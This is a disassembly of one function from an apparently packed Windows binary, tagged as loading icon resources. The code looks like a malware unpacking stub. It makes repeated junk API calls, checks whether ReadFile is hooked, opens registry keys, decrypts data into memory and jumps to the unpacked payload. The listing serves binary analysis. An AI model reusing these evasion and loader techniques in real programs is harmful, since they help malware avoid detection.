Function at 0x401510
Capabilities:
Inspect load icon resource
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf4
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x9c], 4
mov dword [ebp - 0x84], 0x80000000
mov dword [ebp - 0x98], 0x20019
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x16], 0x6a
mov byte [ebp - 0x29], 0x8b
mov byte [ebp - 0x15], 0x55
mov byte [ebp - 0x2a], 0xff
pushal
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x90], 0x64
mov dword [ebp - 0x14], 0x23
lea ecx, [ebp - 0x80]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
lea edx, [ebp - 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0x22b
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
test eax, eax
je 0x40167e
xor eax, eax
jmp 0x4019db
mov dword [ebp - 0xec], str.SOFTWAREUUasses
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x90], 0x64
mov dword [ebp - 0x14], 0x23
mov eax, dword [ebp - 0x30]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x16]
cmp ecx, edx
je 0x4016e6
mov eax, dword [ebp - 0x30]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x29]
cmp ecx, edx
je 0x4016e6
mov eax, dword [ebp - 0x30]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x15]
cmp ecx, edx
je 0x4016e6
mov eax, dword [ebp - 0x30]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2a]
cmp ecx, edx
jne 0x401706
mov dword [ebp - 0xf0], 0x436054
mov dword [ebp - 0xf4], 0x436058
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [0x43650c], eax
jmp 0x401726
push 0xb
push 0xb
call fcn.00401280
add esp, 8
push 0xb
call fcn.00401510
add esp, 4
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
mov ecx, 0x43
mov edx, dword [ebp - 0xec]
mov word [edx + 0x12], cx
mov eax, 0x6c
mov ecx, dword [ebp - 0xec]
mov word [ecx + 0x14], ax
lea edx, [ebp - 0x24]
push edx
push 1
push 0
mov eax, dword [ebp - 0xec]
push eax
push 0x80000002
call dword [0x43650c]
test eax, eax
je 0x401769
xor eax, eax
jmp 0x4019db
lea ecx, [ebp - 0x24]
push ecx
push 1
push 0
push str.clsid0003000d_0000_0000_c000_000000000046_treatas
mov edx, dword [ebp - 0x24]
push edx
call dword [0x43650c]
test eax, eax
je 0x40178b
xor eax, eax
jmp 0x4019db
push 1
mov eax, dword [0x436508]
push eax
call fcn.00401b60
add esp, 8
mov dword [0x436518], eax
mov ecx, dword [0x436518]
push ecx
call fcn.00401a10
add esp, 4
mov dword [ebp - 0x94], eax
mov edx, dword [0x436518]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 4]
cmp eax, dword [0x436518]
jae 0x40182e
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x90]
push edx
call fcn.004012e0
add esp, 8
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [0x436508]
add ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x94]
add edx, dword [ebp - 4]
push edx
call fcn.00401040
add esp, 0xc
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x90]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x90]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x88]
mov dword [ebp - 0x38], edx
jmp 0x4017be
mov eax, dword [0x436518]
push eax
mov ecx, dword [ebp - 0x94]
push ecx
call fcn.00401480
add esp, 8
mov edx, dword [ebp + 8]
mov dword [0x4364fc], edx
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
push 2
mov eax, dword [0x436508]
push eax
call fcn.00401b60
add esp, 8
mov dword [0x436518], eax
mov ecx, dword [0x436518]
push ecx
call fcn.00401a10
add esp, 4
mov dword [ebp - 0x1c], eax
mov edx, dword [0x436518]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 4]
cmp eax, dword [0x436518]
jae 0x4018f7
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x90]
push edx
call fcn.004012e0
add esp, 8
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [0x436508]
add ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 4]
push edx
call fcn.00401040
add esp, 0xc
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x90]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x90]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x88]
mov dword [ebp - 0x38], edx
jmp 0x40188a
mov eax, dword [0x436518]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00401480
add esp, 8
mov dword [ebp - 0xa0], 0x4014a0
mov edx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x1c]
mov dword [edx], eax
mov dword [ebp - 0x9c], 0x5b000
mov ecx, dword [ebp - 0x9c]
push ecx
call fcn.00401a10
add esp, 4
mov dword [0x4364e4], eax
push 0x22500
mov edx, dword [ebp - 0x94]
push edx
mov eax, dword [0x4364e4]
add eax, 0x200
push eax
call fcn.00401040
add esp, 0xc
call fcn.00401390
mov dword [ebp - 0x9c], eax
mov ecx, dword [0x4364e4]
sub ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x4364e4]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401af0
add esp, 0xc
mov eax, dword [0x4364e4]
add eax, 0x22450
mov dword [0x4364e8], eax
popal
push 0x501094
mov eax, dword [ebp - 0xa0]
mov ecx, esp
mov edx, 0x1e
mov edi, edi
mov edi, edi
mov edi, edi
mov edi, edi
mov edx, edx
mov edi, edi
mov edi, edi
mov edi, edi
mov edx, ecx
sub edx, 0x3e7
jmp 0x4019ce
mov dword [edx + 0x3e7], eax
mov edi, edi
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret